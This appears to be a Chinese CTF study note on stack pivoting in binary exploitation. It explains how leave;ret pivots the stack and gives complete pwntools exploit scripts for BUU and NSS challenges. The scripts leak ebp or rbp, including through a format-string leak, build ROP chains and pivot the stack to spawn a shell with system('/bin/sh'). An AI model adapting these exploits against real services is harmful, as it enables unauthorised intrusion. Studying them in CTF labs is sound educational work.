栈迁移

栈迁移的原理

栈迁移是因为栈溢出造成的漏洞，而溢出的又不多，通常刚好溢出到ebp和返回地址，无法构造参数，所以有时候不能直接利用，所以我们通过改变esp和ebp在我们可以改写的地方构造一个新的栈

我们在栈迁移中最常用的就是leave_ret这两个命令，下面解释一下这两个命令

1
2
3
4
5
6
leave:
mov esp ebp  将ebp指向的地址给esp
pop ebp      将esp指向的地址存放的值赋值给ebp

ret:
pop eip      将esp指向的地址存放的值赋值给eip

leave指令即为mov esp ebp;pop ebp先将ebp赋给esp，此时esp与ebp位于了一个地址，你可以现在把它们指向的那个地址，即当成栈顶又可以当成是栈底。然后pop ebp，将栈顶的内容弹入ebp（此时栈顶的内容也就是ebp的内容，也就是说现在把ebp的内容赋给了ebp）。因为esp要时刻指向栈顶，既然栈顶的内容都弹走了，那么esp自然要往下挪一个内存单元。

ret指令为pop eip，这个指令就是把栈顶的内容弹进了eip（就是下一条指令执行的地址）

栈迁移的核心在于，将当前的 EBP 覆盖为我们想要将栈迁移过去的地址，然后将返回地址覆盖为 leave; ret 的地址

1766547832416-d61299ae-4805-4964-9a64-635bd0498a48.png1766549253321-29936c56-06eb-4708-b7d7-88cc124729fa.png

什么是 BSS 段？

BSS 段（Block Started by Symbol，以符号开始的块）是程序可执行文件 / 内存布局中的核心分段之一，专门用于存储「未初始化的全局变量、未初始化的静态变量」，以及「初始值为 0 的全局 / 静态变量」—— 本质是操作系统在程序启动时，一次性将该段内存全部清零的区域。

简单示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
char all[100];

void back(){
    printf("/bin/sh");
    system("exit");
}
int main(){
    char buf[10];
    printf("Hello,tell me your story:\n");
    read(0,&all,0x63);
    printf("By the way, what's your name:\n");
    read(0,&buf,0x10);
    return 0;
}

1766548465693-c1be2d32-4f9d-4ced-b4e6-a21a004253c3.png1766548962918-ddac26cb-59ae-4b55-8117-bbba4ebfcac4.png当我们没办法覆盖返回地址的时候，就要去寻找ESP指针去构造ROP去找到EIP控制返回地址

对比32位和64位程序的不同传参方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 64位（复杂，需要gadget）：
payload = p64(pop_rdi_ret)          # 1. gadget设置寄存器
payload += p64(bin_sh_addr)         # 2. 参数值指向/bin/sh
payload += p64(ret)                 # 3. 栈对齐（可能需要再加一个ret）
payload += p64(system_addr)         # 4. 调用函数
payload += b'/bin/sh\x00'           # 5. 字符串本身

payload = payload.ljust(0x50, b'a') # 填充到所需长度
payload += p64(target_addr)         # 覆盖EBP，指向ROP链
payload += p64(leave_ret)           # 覆盖返回地址


# 32位（简单直接）：
#一般还需要先抬高地址
payload = p32(system_addr)          # 1. 调用函数
payload += p32(0xdeadbeef)          # 2. 返回地址
payload += p32(bin_sh_addr)         # 3. 参数就在栈上！

payload = payload.ljust(0x50, b'a') # 填充到所需长度
payload += p64(target_addr)         # 覆盖EBP，指向ROP链
payload += p64(leave_ret)           # 覆盖返回地址
1
2
3
4
5
6
7
8
9
# 64位（寄存器传参）：
system("/bin/sh") 需要：
RDI = /bin/sh地址
然后 CALL system

# 32位（栈上传参）：
system("/bin/sh") 需要：
PUSH /bin/sh地址
CALL system

基于64位程序的rdi指令

pop rdi; ret

1
2
3
4
5
6
7
8
9
pop rdi        ; mov rdi, [rsp]   ; 把rsp指向的内存内容复制到rdi = target_addr+0x20 (/bin/sh地址)
               ; add rsp, 8       ; rsp向上移动8字节（64位是8字节）ESP自动+8，指向target_addr+0x08
               # pop rdi = 从栈顶拿一个值，放到rdi寄存器

ret            # 从当前函数返回到r调用者 
               ; pop rip = [ESP] = target_addr+0x10 (ret gadget地址)
               ; ESP再+8，指向target_addr+0x10
相当于pop rip  从栈顶弹出一个值，放到指令指针rip
               然后CPU执行rip指向的指令

步骤2：执行 ret (栈对齐)

1
2
ret            ; pop eip = [ESP] = target_addr+0x18 (system地址)
               ; ESP+8，指向target_addr+0x18

执行 ****system

1
2
3
4
system:        ; 此时RDI已经包含/bin/sh地址
               ; system从RDI读取参数 = target_addr+0x20
               ; 该地址处有字符串"/bin/sh\x00"
call system("/bin/sh")

chanllenge

栈迁移练习1）[BUU]ciscn_2019_es_2 //x32

1766550411274-a3fd5ba9-2229-462a-bb6b-f6607d15aa6f.png

1766550615582-ecb38cf2-f311-4396-b1af-276f89e99ac5.png仔细看一下read的范围，30u刚好可以覆盖到rbp，所以我们可以选择直接泄露rbp地址1766550654199-a7c642e3-5fd5-4a68-a071-f336effafdca.png1766550956155-dde7e07b-4525-45a4-8a0f-5f9c1fdc5ffd.pngread读入到s的这个地方，距离ebp只有0x28个字节，但是两个read都可以写入0x30个字节的内容，

也就是说可以溢出覆盖ebp和返回地址，我们不足以直接构造pop链但是可以构造栈迁移。

先寻找我们需要的gadget抽取出地址1766576039718-d354bbc8-793d-4008-ae89-89e8fa7543f0.png

我们通过IDA可知，read在ebp-28h处，我们可以通过第一次read去寻找ebp的地址（payload1）

之后我们gdb调试进入到程序vul函数当中，在第二次输入中输入aaaa来确定第二次payload2的初始地址

这里我们可以通过第二张图片的地址差值去确定偏移得到ebp-esp=0x38，地址即为ebp-0x381766576890815-50f6be92-e7da-48a6-b984-546d739af9bb.png1766576832535-287f9df9-88fa-43c4-85e7-0bb511c82597.png

要完成栈迁移的攻击结构，就要覆盖原栈上 ret为 leave_ret gadget的地址，本题中可覆盖为 0x080484b8；要将esp劫持到 old_ebp -0x38处，就要将原ebp中的 old_ebp 覆盖为old_ebp -0x38，其中 old_ebp 可通过第一次 read & printf 泄露得到。此时栈迁移payload的框架如下图所示。1766577570032-54d65bfa-cbe8-402b-9ae4-c2534b1164ba.png

在上图中的Payload中， vuln 函数正常执行到leave指令时， ebp 寄存器将被赋予 old_ebp -0x38，而之后执行 ret（即第二个 leave ret）时， esp 将随之被覆盖为该值，因此该payload已然能实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果了。

接下来则要向该框架中填充执行 system 的shellcode 以完成对 eip 与执行流的篡改。此处与传统的栈溢出攻击类似，下面直接给出payload结构。1766577606805-2f2b0f38-5682-47f3-9583-65fc3ba135a7.png

上图中，栈迁移的最后一个 pop eip 执行结束后， esp 将指向 aaaa 后的内容开始执行，故此处要填上 system 函数地址，那么后面则应为一个 fake ebp 来维持栈操作的完整性。再往后则是 system 的函数参数，即 /bin/sh 的地址。而 /bin/sh 本身我们也可由 read 函数输入到该区域内，因此其地址恰好也在栈上。

下面可以构造exp了

exp 1）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p=remote('node5.buuoj.cn',29338)
elf=ELF('BUUCTF1')

leave_ret_addr = 0x08048562
system_addr=elf.sym['system']

payload1=b'a'*0x27+b'b'
p.recvuntil("Welcome, my friend. What's your name?\n")
p.send(payload1)
p.recvuntil('b')
ebp=u32(p.recv(4))
print(hex(ebp))
payload2 = b"a" * 4 + p32(system_addr) + p32(0) + p32(ebp-0x28) + b'/bin/sh'
payload2 = payload2.ljust(0x28, b'\x00')
payload2 += p32(ebp-0x38) + p32(leave_ret_addr)
p.send(payload2)
p.interactive()
exp 1）解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p=remote('node5.buuoj.cn',29338)
elf=ELF('BUUCTF1')

leave_ret_addr = 0x08048562   # 寻找leave，ret地址进行调用
system_addr=elf.sym['system'] # 寻找system地址
# 第一次传输
payload1=b'a'*0x27+b'b'       # 通过IDA分析ebp-28h得到覆盖28位可以得到ebp
p.recvuntil("Welcome, my friend. What's your name?\n")
p.send(payload1)
p.recvuntil('b')
ebp=u32(p.recv(4))            # 通过payload1取得ebp的地址 64位rbp = u64(p.recv(8))
print(hex(ebp))

#第二次传输
payload2=b"a"*4
# 如果一开始将system函数写第一个，那么我们在用leave；ret劫持栈的时候要抬高4字节
# leave;ret的ret指令会取「new_ebp+4」的地址执行，
# 而 system 函数在 payload 第一个位置（地址 = A），
# 因此需要将 new_ebp 设为「A-4」（抬高 4 字节），
# 让new_ebp+4 = A，从而让ret精准跳转到 system 地址；
# 同时，抬高后 ESP 会自动指向 system 的参数（/bin/sh），满足函数调用要求。

payload2+=p32(system_addr) + p32(0)
# system("/bin/sh") 底层会触发 execve("/bin/sh", NULL, NULL) 系统调用，
# x86 架构（32 位）下函数调用遵循 cdecl 调用约定：
# 函数参数从「右到左」压入栈中；
# execve 的原型是 int execve(const char *filename, char *const argv[], char *const envp[])；
# 因此栈上需按「filename → argv → envp」的顺序存放参数，其中 argv 和 envp 要求传 NULL（即数值 0）。

payload2+=p32(ebp-0x28)  # system的参数：指向/bin/sh的地址（核心！必须是有效地址）

payload2+= b'/bin/sh'    # 实际的/bin/sh字符串（存在栈上，地址就是ebp-0x28）

payload2=payload2.ljust(0x28, b'\x00')# 填充垃圾数据至0x28
# 栈劫持的关键是：让填充后的payload2末尾，恰好对齐到「栈中 EBP 的前一个字节」—— 
# 这样后续追加的p32(覆盖EBP的值)和p32(覆盖返回地址的值)，
# 能精准命中栈中 EBP 和返回地址的位置。

payload2+=p32(ebp-0x38) + p32(leave_ret_addr)
# ebp内存入
p.send(payload2)
p.interactive()

tip）为什么system返回地址可以为0？
我们构造 payload 调用system("/bin/sh")的最终目标是获取交互式 shell，
而非让程序回到原流程 
一旦 system 执行成功，shell 会接管整个进程，
原程序的 “后续代码” 再也不会执行：
执行system("/bin/sh") → 启动 shell 进程，
终端进入交互模式（可以执行 ls、cat 等命令）；
此时即使返回地址是 0（非法地址），也完全无所谓：
因为 shell 已经运行，原程序的 “返回逻辑” 被 shell 覆盖，
永远不会触发 “跳转到返回地址” 的动作；
退一步说，就算返回地址是 0 导致 “返回时崩溃”—— 
我们已经拿到 shell，崩溃对我们没有任何影响。
三、填 0（空）的额外

1766555909347-87c485f4-37b7-4655-9f79-8705295f5033.png

栈迁移练习 2）[BUU] gyctf_2020_borrowstack1

1766580195638-6a6ee31c-8101-4a57-a360-e6784cacdb84.png1766580220796-807fa682-98f3-4502-81ff-c65396bcae85.png

栈迁移练习 3）[NSS][HDCTF 2023]KEEP ON //x641766583221611-c82e4001-7701-4567-b0d8-58b1eb47c679.png1766583273048-2fcb7cfe-a6f1-4eee-b911-386901efbdb0.png

这直接printf(s)了，很明显的一个格式化字符串漏洞哈，基于这个我们可以去练习栈迁移

我们首先是想要拿到rbp的地址的，但是read只有48u没有办法覆盖到rbp/s-[rbp-50h]1766583285364-1c907404-efdc-4c9d-afd3-2acbe003c0f5.png1766583325087-cd071e3b-e738-4c1e-8240-d46193ff2864.png

使用GDB调试，在第一个read处输入以下字符串内容，之后单步到printf处看一看栈上的内容，找一找rbp的地址去确定rbp的偏移，发现偏移是16，那就是%16$p

1
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

1766683072262-b9cfc741-6cde-4181-ae8f-5a92582ac308.png1766683109750-24355560-2ce3-4c86-9eb0-cea1bfa43204.png

寻找一下第一次read输入的地址和rbp的距离，因为我们需要栈迁移到这里，距离0x60

1766684334200-1d1347b7-df86-4786-891c-f84c41f854cf.png

1766583480855-84b20bcd-7eb5-4e10-b6c5-29394eaed896.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *    
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.anna.nssctf.cn',28697)

#ROPgadget获取一些必要指令的地址
leave_ret = 0x4007f2	#栈迁移使用
pop_rdi_ret = 0x4008d3	#传参使用
ret_addr = 0x4005b9		#栈平衡使用
sys_addr = 0x4005E0		#挟制ip使用
p.recvuntil(b'please show me your name: \n')

#泄漏地址
payload = b'%16$p'
p.sendline(payload)
p.recvuntil(b'hello,')
target = eval(p.recv(14).decode())
print(hex(target))
p.recvuntil(b'keep on !\n')

#计算栈迁移后的首地址
target = target - 0x60
payload = (b'aaaaaaaa'+p64(ret_addr)+p64(pop_rdi_ret)+p64(target+40)+p64(sys_addr)+b'/bin/sh').ljust(0x50,b'\x00')+p64(target)+p64(leave_ret)
p.sendline(payload)
p.sendline(b'cat flag.txt')
p.interactive()

target 是栈迁移后的栈基址（rsp 最终指向的位置），/bin/sh 是我们构造在 payload 里的字符串，要让 rdi 寄存器指向这个字符串的地址，就必须精准计算：/bin/sh 在 target 这个基址下的偏移量。

先明确栈迁移后的 “地址映射关系”

栈迁移的核心是：执行 leave 后，rsp = target（栈顶直接指向 target 地址）。此时，payload 里的每一个字节，都会对应到 target 开始的连续内存地址中。

我们先把 payload 的结构和对应的地址偏移列出来（以target为基址，单位：字节）：

栈情况
地址偏移（target+N） payload 内容 字节数 累计偏移
target+0 b’aaaaaaaa’（填充） 8 8
target+8 p64(ret_addr) 8 16
target+16 p64(pop_rdi_ret) 8 24
target+24 p64(target+40) 8 32
target+32 p64(sys_addr) 8 40
target+40 b’/bin/sh’ 8 48
… 填充 \x00 到 0x50(80) - 80
target+80 p64(target) 8 88
target+88 p64(leave_ret) 8 96

更新: 2026-04-23 11:34:52
原文: https://www.yuque.com/idcm/wnemg9/yxuzemozfzorix1g